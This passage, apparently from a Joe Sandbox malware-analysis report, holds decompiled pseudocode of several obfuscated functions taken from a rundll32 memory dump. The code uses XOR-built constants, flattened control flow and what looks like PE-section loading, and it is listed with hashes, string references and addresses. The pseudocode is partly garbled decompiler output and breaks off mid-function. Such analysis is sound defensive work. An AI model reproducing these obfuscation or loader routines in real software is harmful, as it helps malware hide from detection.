String ID: +M$.*&$Y\T$u_T
API String ID: 0-2652214267
Opcode ID: b34978567355324f2c0f374fed27c55dcfd4fd72ec8b2f32448d40c0033d92a9
Instruction ID: 2d7ab6e024d540a89cfa3b3d4b8abe97d24935bf1edd961056efb45b33a4ed0b
Opcode Fuzzy Hash: b34978567355324f2c0f374fed27c55dcfd4fd72ec8b2f32448d40c0033d92a9
Instruction Fuzzy Hash: 4DB133B6D00309EBCB54CFE5C98A6DEBBB1FF44314F208149D116BA2A4D3B41A49CF95

Uniqueness

Uniqueness Score: -1.00%

Function 029C68AD, Relevance: 5.2, Strings: 4, Instructions: 191
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E029C68AD(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v4;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				void* _t191;
				void* _t213;
				void* _t221;
				void* _t223;
				signed int _t225;
				signed int _t226;
				signed int _t227;
				signed int _t228;
				signed int _t229;
				signed int _t230;
				signed int _t231;
				void* _t258;
				void* _t263;
				intOrPtr* _t265;
				signed int* _t267;
				signed int* _t268;
				signed int* _t269;

				_push(_a12);
				_t265 = __ecx;
				_push(_a8);
				_push(_a4);
				_push(0);
				_push(__ecx);
				E029C8002(_t191);
				_v32 = 0xe7e62d;
				_v32 = _v32 + 0x8fb;
				_v32 = _v32 >> 1;
				_v32 = _v32 ^ 0x0073e794;
				_v8 = 0xf3917b;
				_v8 = _v8 + 0xffff1aa6;
				_v8 = _v8 ^ 0x00f28c21;
				_v68 = 0x126e56;
				_v68 = _v68 << 0x10;
				_v68 = _v68 + 0x9c6a;
				_v68 = _v68 << 1;
				_v68 = _v68 ^ 0xdcad3894;
				_v36 = 0x43cc42;
				_t225 = 0x3e;
				_v36 = _v36 * 0x27;
				_v36 = _v36 + 0xf2e8;
				_v36 = _v36 ^ 0x0a5028eb;
				_v20 = 0x116707;
				_v20 = _v20 | 0xc5e48560;
				_v20 = _v20 ^ 0xc5f176fd;
				_v72 = 0xb3768f;
				_v72 = _v72 * 0x61;
				_v72 = _v72 | 0xff9fbdfe;
				_v72 = _v72 ^ 0xfffd661d;
				_v28 = 0x2d2301;
				_v28 = _v28 + 0xffffc7d2;
				_v28 = _v28 << 0xd;
				_v28 = _v28 ^ 0x9d57367e;
				_v12 = 0x2a29d0;
				_v12 = _v12 << 0xa;
				_v12 = _v12 ^ 0xa8a23fd2;
				_v64 = 0x142c8d;
				_v64 = _v64 * 0x31;
				_v64 = _v64 ^ 0x47931257;
				_v64 = _v64 + 0xd093;
				_v64 = _v64 ^ 0x4457985d;
				_v16 = 0x71a79e;
				_v16 = _v16 / _t225;
				_v16 = _v16 ^ 0x000e243f;
				_v52 = 0x6b5a41;
				_v52 = _v52 + 0xffff3be8;
				_v52 = _v52 | 0x485cd3bf;
				_v52 = _v52 + 0xffff0d66;
				_v52 = _v52 ^ 0x487c74fa;
				_v56 = 0xeb8482;
				_t226 = 0x1f;
				_v56 = _v56 / _t226;
				_v56 = _v56 | 0x83c529aa;
				_v56 = _v56 << 1;
				_v56 = _v56 ^ 0x0789ee6b;
				_v24 = 0x2f2943;
				_v24 = _v24 | 0x8c007b8b;
				_v24 = _v24 << 0x10;
				_v24 = _v24 ^ 0x7bcebda7;
				_v60 = 0xe5b9c4;
				_v60 = _v60 + 0x3551;
				_v60 = _v60 * 0x37;
				_t227 = 0x4d;
				_v60 = _v60 / _t227;
				_v60 = _v60 ^ 0x00ac8dd0;
				_v40 = 0x853343;
				_v40 = _v40 << 9;
				_t228 = 0x74;
				_v40 = _v40 / _t228;
				_v40 = _v40 ^ 0x620c893a;
				_v40 = _v40 ^ 0x621352bd;
				_v44 = 0xc72117;
				_t229 = 0x4f;
				_v44 = _v44 / _t229;
				_v44 = _v44 + 0x50cd;
				_t230 = 0x37;
				_v44 = _v44 * 0x4c;
				_v44 = _v44 ^ 0x00ddafa5;
				_v48 = 0x7d6402;
				_t231 = 0x46;
				_v48 = _v48 / _t230;
				_v48 = _v48 ^ 0xcb376728;
				_v48 = _v48 / _t231;
				_v48 = _v48 ^ 0x02eda221;
				_v4 = 0xbef01f;
				_v4 = _v4 * 0x3d;
				_v4 = _v4 ^ 0x2d7ec416;
				_t213 = E029E2AE7(__ecx, _v36, _v20, _v72);
				_t221 = _t213;
				_t267 =  &(( &_v72)[7]);
				if(_t221 != 0) {
					_t258 = E029E05CC(_v8 | _v32, _v28, __ecx, _v12, _v64, _v68,  *((intOrPtr*)(_t221 + 0x50)), _v16);
					_t268 =  &(_t267[6]);
					if(_t258 == 0) {
						L6:
						return _t258;
					}
					E029D4626( *__ecx,  *((intOrPtr*)(_t221 + 0x54)), _t258, _v52, _v56, _v24, _v60);
					_t269 =  &(_t268[5]);
					_t263 = ( *(_t221 + 0x14) & 0x0000ffff) + 0x18 + _t221;
					_t223 = ( *(_t221 + 6) & 0x0000ffff) * 0x28 + _t263;
					while(_t263 < _t223) {
						_t256 =  <  ?  *((void*)(_t263 + 8)) :  *((intOrPtr*)(_t263 + 0x10));
						E029D4626( *_t265 +  *((intOrPtr*)(_t263 + 0x14)),  <  ?  *((void*)(_t263 + 8)) :  *((intOrPtr*)(_t263 + 0x10)),  *((intOrPtr*)(_t263 + 0xc)) + _t258, _v40, _v44, _v48, _v4);
						_t269 =  &(_t269[5]);
						_t263 = _t263 + 0x28;
					}
					goto L6;
				}
				return _t213;
			}

0x029c68b2
0x029c68b6
0x029c68b8
0x029c68bc
0x029c68c0
0x029c68c2
0x029c68c3
0x029c68c8
0x029c68d2
0x029c68da
0x029c68de
0x029c68e6
0x029c68ee
0x029c68f6
0x029c68fe
0x029c6906
0x029c690b
0x029c6913
0x029c6917
0x029c691f
0x029c692e
0x029c6931
0x029c6935
0x029c693d
0x029c6945
0x029c694d
0x029c6955
0x029c695d
0x029c696a
0x029c696e
0x029c6976
0x029c697e
0x029c6986
0x029c698e
0x029c6993
0x029c699b
0x029c69a3
0x029c69a8
0x029c69b0
0x029c69bd
0x029c69c1
0x029c69c9
0x029c69d1
0x029c69d9
0x029c69e9
0x029c69ed
0x029c69f5
0x029c69fd
0x029c6a05
0x029c6a0d
0x029c6a15
0x029c6a1d
0x029c6a29
0x029c6a2e
0x029c6a32
0x029c6a3a
0x029c6a3e
0x029c6a46
0x029c6a4e
0x029c6a56
0x029c6a5b
0x029c6a63
0x029c6a6b
0x029c6a7a
0x029c6a82
0x029c6a87
0x029c6a8d
0x029c6a95
0x029c6a9d
0x029c6aa6
0x029c6aab
0x029c6ab1
0x029c6ab9
0x029c6ac1
0x029c6acd
0x029c6ad2
0x029c6ad8
0x029c6ae5
0x029c6ae8
0x029c6aec
0x029c6af4
0x029c6b02
0x029c6b03
0x029c6b09
0x029c6b19
0x029c6b1d
0x029c6b25
0x029c6b32
0x029c6b36
0x029c6b4a
0x029c6b4f
0x029c6b51
0x029c6b56
0x029c6b82
0x029c6b84
0x029c6b89
0x029c6bf5
0x00000000
0x029c6bf7
0x029c6ba3
0x029c6bac
0x029c6bb6
0x029c6bbb
0x029c6bf0
0x029c6be0
0x029c6be5
0x029c6bea
0x029c6bed
0x029c6bed
0x00000000
0x029c6bf4
0x029c6bfd

Strings

AZk, xrefs: 029C69F5
Q5, xrefs: 029C6A6B
C)/, xrefs: 029C6A46
(P, xrefs: 029C693D

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: AZk$C)/$Q5$(P
API String ID: 0-3568429903
Opcode ID: 4f5247ff58d37919dde0014091b0176d3b6085f5b95e0dacd0acd0109bc31bfc
Instruction ID: b090fce23f0e70295dfef007e842defb65041628fb7ff9fefdea52c2d1a27d1e
Opcode Fuzzy Hash: 4f5247ff58d37919dde0014091b0176d3b6085f5b95e0dacd0acd0109bc31bfc
Instruction Fuzzy Hash: 2791F1B2508380AFC358CF69C98690BFBF2BBC4758F409A1DF59556260D7BAD905CF06

Uniqueness

Uniqueness Score: -1.00%

Function 029D7EDD, Relevance: 5.2, Strings: 4, Instructions: 160
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E029D7EDD(intOrPtr* __edx, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				void* __ecx;
				void* _t133;
				signed int _t145;
				signed int _t154;
				signed int _t155;
				signed int _t156;
				void* _t159;
				intOrPtr* _t176;
				signed int* _t177;
				signed int* _t180;

				_t177 = _a8;
				_push(_a12);
				_t176 = __edx;
				_push(_t177);
				_push(_a4);
				_push(__edx);
				E029C8002(_t133);
				_v76 = 0xdd24c3;
				_t180 =  &(( &_v80)[5]);
				_v76 = _v76 + 0x96ab;
				_v76 = _v76 << 0xa;
				_t159 = 0xf146add;
				_v76 = _v76 ^ 0x76edb800;
				_v60 = 0x655856;
				_v60 = _v60 ^ 0x830861b3;
				_v60 = _v60 << 0xc;
				_v60 = _v60 ^ 0xd39f3991;
				_v40 = 0xfb2963;
				_v40 = _v40 ^ 0x358451d8;
				_v40 = _v40 ^ 0x357691eb;
				_v52 = 0x9ac1af;
				_v52 = _v52 | 0x974dd9ed;
				_v52 = _v52 + 0xffff33f9;
				_v52 = _v52 ^ 0x97d51817;
				_v56 = 0xd11e51;
				_v56 = _v56 + 0xffffa56e;
				_v56 = _v56 >> 0xa;
				_v56 = _v56 ^ 0x0005d843;
				_a8 = 0x41874b;
				_a8 = _a8 | 0x04962ec9;
				_a8 = _a8 << 0xe;
				_a8 = _a8 << 9;
				_a8 = _a8 ^ 0xe58b03f5;
				_v64 = 0xc3e60a;
				_v64 = _v64 + 0xffff42f6;
				_v64 = _v64 ^ 0xaed325d7;
				_v64 = _v64 ^ 0xae16c238;
				_v44 = 0xb791fb;
				_v44 = _v44 | 0xbf9bfbce;
				_v44 = _v44 ^ 0xbfbc9eb3;
				_v68 = 0x1077e7;
				_v68 = _v68 + 0x5162;
				_v68 = _v68 >> 0xc;
				_v68 = _v68 ^ 0x000dede1;
				_v72 = 0x266547;
				_v72 = _v72 + 0xf74a;
				_v72 = _v72 + 0xcfd0;
				_v72 = _v72 ^ 0x00227f9c;
				_v32 = 0xcdcb8;
				_v32 = _v32 | 0x390b528c;
				_v32 = _v32 ^ 0x390fc0fc;
				_v48 = 0x82c23c;
				_t154 = 0x24;
				_v48 = _v48 / _t154;
				_v48 = _v48 << 6;
				_v48 = _v48 ^ 0x00eb5fc4;
				_v80 = 0xc8746e;
				_v80 = _v80 | 0x04e627ad;
				_v80 = _v80 ^ 0x7ad2130e;
				_t155 = 0x5d;
				_v80 = _v80 / _t155;
				_v80 = _v80 ^ 0x015da6e9;
				_v36 = 0x5c3b71;
				_t102 =  &_v36; // 0x5c3b71
				_t156 = 0x78;
				_v36 =  *_t102 / _t156;
				_v36 = _v36 ^ 0x00023a75;
				do {
					while(_t159 != 0x2d36e4e) {
						if(_t159 == 0x601935c) {
							_push(_t159);
							_t145 = E029D6F53(_t177[1]);
							 *_t177 = _t145;
							__eflags = _t145;
							if(__eflags != 0) {
								_t159 = 0x2d36e4e;
								continue;
							}
						} else {
							if(_t159 == 0x88b2dd1) {
								E029CE1EB( &_v28,  *_t176, _v64, _v44, _v68, _v72);
								_t180 =  &(_t180[4]);
								_t159 = 0xa2fd9dd;
								continue;
							} else {
								if(_t159 == 0xa2fd9dd) {
									E029D0824(_v32, _v48, __eflags, _v80,  &_v28, _t176 + 4, _v36);
								} else {
									if(_t159 == 0xf146add) {
										_t159 = 0xf15532e;
										 *_t177 =  *_t177 & 0x00000000;
										_t177[1] = _v76;
										continue;
									} else {
										if(_t159 != 0xf15532e) {
											goto L13;
										} else {
											_t177[1] = E029DBFA1(_t176);
											_t159 = 0x601935c;
											continue;
										}
									}
								}
							}
						}
						L16:
						__eflags =  *_t177;
						_t132 =  *_t177 != 0;
						__eflags = _t132;
						return 0 | _t132;
					}
					E029D777F(_v52, _v56,  &_v28, _t177, _a8);
					_t180 =  &(_t180[3]);
					_t159 = 0x88b2dd1;
					L13:
					__eflags = _t159 - 0xa59ba37;
				} while (__eflags != 0);
				goto L16;
			}

0x029d7ee3
0x029d7ee8
0x029d7eec
0x029d7eee
0x029d7eef
0x029d7ef3
0x029d7ef5
0x029d7efa
0x029d7f02
0x029d7f05
0x029d7f0f
0x029d7f14
0x029d7f19
0x029d7f21
0x029d7f29
0x029d7f31
0x029d7f36
0x029d7f3e
0x029d7f46
0x029d7f4e
0x029d7f56
0x029d7f5e
0x029d7f66
0x029d7f6e
0x029d7f76
0x029d7f7e
0x029d7f86
0x029d7f8b
0x029d7f93
0x029d7f9b
0x029d7fa3
0x029d7fa8
0x029d7fad
0x029d7fb5
0x029d7fbd
0x029d7fc5
0x029d7fcd
0x029d7fd5
0x029d7fdd
0x029d7fe5
0x029d7fed
0x029d7ff5
0x029d7ffd
0x029d8002
0x029d800a
0x029d8012
0x029d801a
0x029d8022
0x029d802a
0x029d8032
0x029d803a
0x029d8042
0x029d8050
0x029d8055
0x029d805b
0x029d8060
0x029d8068
0x029d8070
0x029d8078
0x029d8084
0x029d8089
0x029d808f
0x029d8097
0x029d809f
0x029d80a3
0x029d80a6
0x029d80af
0x029d80bc
0x029d80bc
0x029d80ca
0x029d813f
0x029d8140
0x029d8145
0x029d8148
0x029d814a
0x029d814c
0x00000000
0x029d814c
0x029d80cc
0x029d80d2
0x029d8125
0x029d812a
0x029d812d
0x00000000
0x029d80d4
0x029d80da
0x029d8199
0x029d80e0
0x029d80e6
0x029d8105
0x029d8107
0x029d810a
0x00000000
0x029d80e8
0x029d80ea
0x00000000
0x029d80f0
0x029d80f7
0x029d80fa
0x00000000
0x029d80fa
0x029d80ea
0x029d80e6
0x029d80da
0x029d80d2
0x029d81a1
0x029d81a3
0x029d81a8
0x029d81a8
0x029d81af
0x029d81af
0x029d8165
0x029d816a
0x029d816d
0x029d8172
0x029d8172
0x029d8172
0x00000000

Strings

VXe, xrefs: 029D7F21
q;\, xrefs: 029D809F
bQ, xrefs: 029D7FF5
Ge&, xrefs: 029D800A

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: Ge&$VXe$bQ$q;\
API String ID: 0-2640374020
Opcode ID: 9844b22d8b6c0984abf157085ab9264243f388cefd35af2a0073d9e1a01ffbe8
Instruction ID: caaf6b9a7ad259737ec0f76e1feebde4dcbac4afcca9aa4bda0353dacb42e24d
Opcode Fuzzy Hash: 9844b22d8b6c0984abf157085ab9264243f388cefd35af2a0073d9e1a01ffbe8
Instruction Fuzzy Hash: 2A614171109301AFD758DF20C98941BBBE1FBD8748F108A1DF596A6260D371DA4ACF82

Uniqueness

Uniqueness Score: -1.00%

Function 029C1DF9, Relevance: 5.1, Strings: 4, Instructions: 146
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E029C1DF9() {
				char _v524;
				signed int _v528;
				intOrPtr _v532;
				signed int _v536;
				signed int _v540;
				signed int _v544;
				signed int _v548;
				signed int _v552;
				signed int _v556;
				signed int _v560;
				signed int _v564;
				signed int _v568;
				signed int _v572;
				signed int _t126;
				signed int _t129;
				signed int _t133;
				signed int _t134;
				void* _t135;
				signed int _t150;
				signed int _t151;
				signed int _t152;
				signed int _t153;
				signed int _t155;
				signed int _t157;
				signed int* _t158;

				_t158 =  &_v572;
				_v532 = 0x2bf160;
				_t155 = 0;
				_t135 = 0x6f9627c;
				_v528 = 0;
				_v544 = 0x68f218;
				_v544 = _v544 << 5;
				_v544 = _v544 + 0x1fae;
				_v544 = _v544 ^ 0x0d1c5792;
				_v564 = 0x4220c0;
				_v564 = _v564 ^ 0xd7b63b7c;
				_t150 = 5;
				_v564 = _v564 / _t150;
				_t151 = 0x38;
				_v564 = _v564 * 0x22;
				_v564 = _v564 ^ 0xbc7d9326;
				_v552 = 0x3069ae;
				_v552 = _v552 << 8;
				_v552 = _v552 ^ 0x306324cb;
				_v572 = 0xe24488;
				_v572 = _v572 | 0x9a52c8f7;
				_t157 = _v552;
				_v572 = _v572 / _t151;
				_v572 = _v572 ^ 0x02c9211d;
				_v556 = 0x39c6ed;
				_v556 = _v556 + 0xffff88f8;
				_v556 = _v556 >> 3;
				_v556 = _v556 + 0xffff3a0f;
				_v556 = _v556 ^ 0x0009059f;
				_v536 = 0xafaadb;
				_t152 = 0xe;
				_t134 = _v552;
				_v536 = _v536 * 0x65;
				_v536 = _v536 ^ 0x45445d04;
				_v540 = 0x520bab;
				_v540 = _v540 / _t152;
				_v540 = _v540 ^ 0x78329df8;
				_v540 = _v540 ^ 0x7838680e;
				_v560 = 0x38d2c8;
				_v560 = _v560 ^ 0xef9d94b3;
				_v560 = _v560 >> 3;
				_v560 = _v560 + 0x71c9;
				_v560 = _v560 ^ 0x1dff5daf;
				_v548 = 0x8c0fd2;
				_v548 = _v548 >> 0xa;
				_v548 = _v548 + 0x1cd8;
				_v548 = _v548 ^ 0x000ce26d;
				_v568 = 0x4f3263;
				_v568 = _v568 + 0xffff720d;
				_v568 = _v568 >> 6;
				_t153 = 0x59;
				_t154 = _v552;
				_v568 = _v568 / _t153;
				_v568 = _v568 ^ 0x0009c121;
				do {
					while(_t135 != 0x670e8ba) {
						if(_t135 == 0x6f13a33) {
							_t129 = E029DD58D();
							_t154 = _t129;
							__eflags = _t129;
							if(__eflags == 0) {
								L19:
								return _t155;
							}
							_t135 = 0x670e8ba;
							continue;
						}
						if(_t135 == 0x6f9627c) {
							_t135 = 0x6f13a33;
							continue;
						}
						if(_t135 == 0x798a419) {
							_t134 = E029C9113(_t157, _v548, _v568);
							_t135 = 0x8061555;
							continue;
						}
						if(_t135 == 0x8061555) {
							_v572 = 0x606661;
							_v572 = _v572 | 0x0fe4c2cf;
							_v572 = _v572 >> 2;
							_v572 = _v572 ^ 0x29de3959;
							__eflags = _t134 - _v572;
							if(_t134 == _v572) {
								_t155 = 1;
								__eflags = 1;
							}
							goto L19;
						}
						if(_t135 != 0xa485c2c) {
							goto L15;
						}
						_t133 = E029D0F17(_v556, _v536,  &_v524, _v540, _v560);
						_t158 =  &(_t158[3]);
						_t157 = _t133;
						_t135 = 0x798a419;
					}
					_t126 = E029DE478( &_v524, __eflags, _v552, _v572, _t154);
					_t158 =  &(_t158[3]);
					__eflags = _t126;
					if(__eflags == 0) {
						_t135 = 0x5ae95cb;
						goto L15;
					}
					_t135 = 0xa485c2c;
					continue;
					L15:
					__eflags = _t135 - 0x5ae95cb;
				} while (__eflags != 0);
				goto L19;
			}

0x029c1df9
0x029c1dff
0x029c1e0c
0x029c1e0e
0x029c1e13
0x029c1e17
0x029c1e1f
0x029c1e24
0x029c1e2c
0x029c1e34
0x029c1e3c
0x029c1e4b
0x029c1e50
0x029c1e5b
0x029c1e5e
0x029c1e62
0x029c1e6a
0x029c1e72
0x029c1e77
0x029c1e7f
0x029c1e87
0x029c1e97
0x029c1e9b
0x029c1e9f
0x029c1ea7
0x029c1eaf
0x029c1eb7
0x029c1ebc
0x029c1ec4
0x029c1ecc
0x029c1ed9
0x029c1edc
0x029c1ee0
0x029c1ee4
0x029c1eec
0x029c1efc
0x029c1f00
0x029c1f08
0x029c1f10
0x029c1f18
0x029c1f20
0x029c1f25
0x029c1f2d
0x029c1f35
0x029c1f3d
0x029c1f42
0x029c1f4a
0x029c1f52
0x029c1f5a
0x029c1f62
0x029c1f6b
0x029c1f6e
0x029c1f72
0x029c1f76
0x029c1f7e
0x029c1f7e
0x029c1f90
0x029c200b
0x029c2010
0x029c2012
0x029c2014
0x029c207d
0x029c2088
0x029c2088
0x029c2016
0x00000000
0x029c2016
0x029c1f98
0x029c1ff9
0x00000000
0x029c1ff9
0x029c1fa0
0x029c1ff0
0x029c1ff2
0x00000000
0x029c1ff2
0x029c1fa8
0x029c2056
0x029c205e
0x029c2066
0x029c206b
0x029c2073
0x029c2077
0x029c207b
0x029c207b
0x029c207b
0x00000000
0x029c2077
0x029c1fb4
0x00000000
0x00000000
0x029c1fcf
0x029c1fd4
0x029c1fd7
0x029c1fd9
0x029c1fd9
0x029c202d
0x029c2032
0x029c2035
0x029c2037
0x029c2043
0x00000000
0x029c2043
0x029c2039
0x00000000
0x029c2048
0x029c2048
0x029c2048
0x00000000

Strings

c2O, xrefs: 029C1F52
,\H, xrefs: 029C2039
af`, xrefs: 029C2056
,\H, xrefs: 029C1FAE

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: ,\H$,\H$af`$c2O
API String ID: 0-3082886527
Opcode ID: 3bfb5e42cca4a70539c8f4188a6d54e0a7ec739cabc5743c37cdc03544baeb09
Instruction ID: 872890744ccf4c633e781f2f4c2218bb388e0bd7c137b4a59dd0955beeed508b
Opcode Fuzzy Hash: 3bfb5e42cca4a70539c8f4188a6d54e0a7ec739cabc5743c37cdc03544baeb09
Instruction Fuzzy Hash: 355179716083418BC754CF29D58941FBBE2FBC8768F204E1EF59AA6261C370CA09CB97

Uniqueness

Uniqueness Score: -1.00%

Function 029E35E3, Relevance: 5.1, Strings: 4, Instructions: 115
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E029E35E3(intOrPtr* __ecx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				char _v312;
				char _t113;
				void* _t120;
				signed int _t122;
				char* _t123;
				intOrPtr* _t136;
				void* _t137;
				void* _t138;

				_v48 = 0x15ab81;
				_v48 = _v48 >> 6;
				_v48 = _v48 >> 6;
				_v48 = _v48 ^ 0x000c6505;
				_v36 = 0xa260f5;
				_t136 = __ecx;
				_v36 = _v36 * 0x56;
				_v36 = _v36 >> 4;
				_v36 = _v36 ^ 0x036f9df2;
				_v8 = 0xe53667;
				_v8 = _v8 << 2;
				_v8 = _v8 + 0xae47;
				_t122 = 0x5c;
				_v8 = _v8 * 0x37;
				_v8 = _v8 ^ 0xc52e1a1c;
				_v44 = 0xc2ed31;
				_v44 = _v44 + 0xffff8eac;
				_v44 = _v44 + 0x30d6;
				_v44 = _v44 ^ 0x00c112bd;
				_v28 = 0x83aa2a;
				_t123 =  &_v312;
				_v28 = _v28 / _t122;
				_v28 = _v28 + 0xffffe598;
				_v28 = _v28 ^ 0x000b72a0;
				_v12 = 0x477525;
				_v12 = _v12 << 1;
				_v12 = _v12 >> 6;
				_v12 = _v12 >> 9;
				_v12 = _v12 ^ 0x000191c0;
				_v52 = 0x2321ee;
				_v52 = _v52 + 0xffff06e7;
				_v52 = _v52 ^ 0x002eacf6;
				_v20 = 0xbd4a66;
				_v20 = _v20 ^ 0xf71114da;
				_v20 = _v20 ^ 0x5bc79fe2;
				_v20 = _v20 ^ 0xac68994a;
				_v16 = 0x873503;
				_v16 = _v16 << 4;
				_v16 = _v16 * 0x58;
				_v16 = _v16 ^ 0xe7adcf56;
				_v40 = 0xca23ef;
				_v40 = _v40 << 8;
				_v40 = _v40 + 0x4fcd;
				_v40 = _v40 ^ 0xca2f4a6c;
				_v32 = 0x676034;
				_v32 = _v32 + 0xffff0033;
				_v32 = _v32 + 0x1cf3;
				_v32 = _v32 ^ 0x006bf9ed;
				_v24 = 0xfbc3d8;
				_v24 = _v24 * 0x35;
				_v24 = _v24 ^ 0xc4f4d601;
				_v24 = _v24 ^ 0xf0e73b4f;
				while(1) {
					_t113 =  *_t136;
					if(_t113 == 0) {
						break;
					}
					if(_t113 == 0x2e) {
						 *_t123 = 0;
					} else {
						 *_t123 = _t113;
						_t123 = _t123 + 1;
						_t136 = _t136 + 1;
						continue;
					}
					L6:
					_t137 = E029C6560(_v48,  &_v312, _v36, _v8);
					if(_t137 != 0) {
						L8:
						_push(E029C948B(_v20, _v16, _t136 + 1) ^ 0x2fc2921b);
						_push(_t137);
						_push(_v24);
						return E029C66C3(_v40, _v32);
					}
					_t120 = E029E308C(_v44, _v28, _v12, _v52,  &_v312);
					_t137 = _t120;
					_t138 = _t138 + 0xc;
					if(_t137 != 0) {
						goto L8;
					}
					return _t120;
				}
				goto L6;
			}

0x029e35ec
0x029e35f5
0x029e35f9
0x029e35fd
0x029e3604
0x029e3611
0x029e3615
0x029e3618
0x029e361c
0x029e3623
0x029e362a
0x029e362e
0x029e3639
0x029e363a
0x029e363d
0x029e3644
0x029e364b
0x029e3652
0x029e3659
0x029e3660
0x029e366c
0x029e3672
0x029e3675
0x029e367c
0x029e3683
0x029e368a
0x029e368d
0x029e3691
0x029e3695
0x029e369c
0x029e36a3
0x029e36aa
0x029e36b1
0x029e36b8
0x029e36bf
0x029e36c6
0x029e36cd
0x029e36d4
0x029e36dc
0x029e36df
0x029e36e6
0x029e36ed
0x029e36f1
0x029e36f8
0x029e36ff
0x029e3706
0x029e370d
0x029e3714
0x029e371b
0x029e3726
0x029e3729
0x029e3730
0x029e3741
0x029e3741
0x029e3745
0x00000000
0x00000000
0x029e373b
0x029e3749
0x029e373d
0x029e373d
0x029e373f
0x029e3740
0x00000000
0x029e3740
0x029e374c
0x029e3760
0x029e3766
0x029e3789
0x029e379d
0x029e379e
0x029e379f
0x00000000
0x029e37ad
0x029e377b
0x029e3780
0x029e3782
0x029e3787
0x00000000
0x00000000
0x029e37b5
0x029e37b5
0x00000000

Strings

4`g, xrefs: 029E36FF
g6, xrefs: 029E3623
%uG, xrefs: 029E3683
!#, xrefs: 029E369C

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: %uG$4`g$g6$!#
API String ID: 0-3570404244
Opcode ID: 49efdd2581645fbbb63b707176fab2ea5744dfb9c626b487036a607583eb4737
Instruction ID: 0069fad55a669980c699a763eb9bf863272f5124566598c08e7309555e0cd98a
Opcode Fuzzy Hash: 49efdd2581645fbbb63b707176fab2ea5744dfb9c626b487036a607583eb4737
Instruction Fuzzy Hash: 3A5132B1C0131AABCF15CFA4C94A4EEFBB5BB44718F208199C511B6210D3B51A49CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 029DCF2C, Relevance: 5.1, Strings: 4, Instructions: 102
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E029DCF2C(void* __ecx) {
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				void* _t87;
				void* _t101;
				void* _t104;
				intOrPtr _t105;
				signed int* _t107;

				_t107 =  &_v56;
				_t104 = __ecx;
				_v16 = 0x276239;
				_t101 = 0x8ecc7b5;
				_v12 = 0xc1804f;
				_t105 = 0;
				_v8 = 0;
				_v4 = 0;
				_v44 = 0x33a75;
				_v44 = _v44 << 2;
				_v44 = _v44 + 0xffff8d6b;
				_v44 = _v44 ^ 0x000c1658;
				_v48 = 0x4c7a0d;
				_v48 = _v48 + 0x2228;
				_v48 = _v48 + 0xffffcf5e;
				_v48 = _v48 ^ 0x0040a2b8;
				_v24 = 0x29c8ba;
				_v24 = _v24 + 0xffffa26d;
				_v24 = _v24 ^ 0x002aee18;
				_v28 = 0x203cde;
				_v28 = _v28 | 0x82234365;
				_v28 = _v28 ^ 0x82244d86;
				_v52 = 0x565a16;
				_v52 = _v52 * 0x24;
				_v52 = _v52 ^ 0xc81e4398;
				_v52 = _v52 ^ 0xc43541e3;
				_v32 = 0x9987d;
				_v32 = _v32 + 0xffff696c;
				_v32 = _v32 ^ 0x0007bb38;
				_v56 = 0x7989ca;
				_v56 = _v56 | 0x19e4451d;
				_v56 = _v56 >> 0xb;
				_v56 = _v56 << 3;
				_v56 = _v56 ^ 0x001c14c9;
				_v20 = 0xe871e9;
				_t51 =  &_v20; // 0xe871e9
				_v20 =  *_t51 * 0x5a;
				_v20 = _v20 ^ 0x51b3d881;
				_v36 = 0xb9723b;
				_v36 = _v36 ^ 0x448966db;
				_v36 = _v36 + 0x42aa;
				_v36 = _v36 ^ 0x44381e2f;
				_v40 = 0xd1ed16;
				_v40 = _v40 + 0x60a;
				_v40 = _v40 ^ 0xe07a9f02;
				_v40 = _v40 ^ 0xe0a2edea;
				do {
					while(_t101 != 0x6ddff94) {
						if(_t101 == 0x8ecc7b5) {
							_t101 = 0x6ddff94;
							continue;
						} else {
							if(_t101 == 0xcbaafb0) {
								_t105 = _t105 + E029CE05F(_v52, _v32, _v56, _t104 + 0x1c);
								_t101 = 0xeb74d67;
								continue;
							} else {
								if(_t101 != 0xeb74d67) {
									goto L10;
								} else {
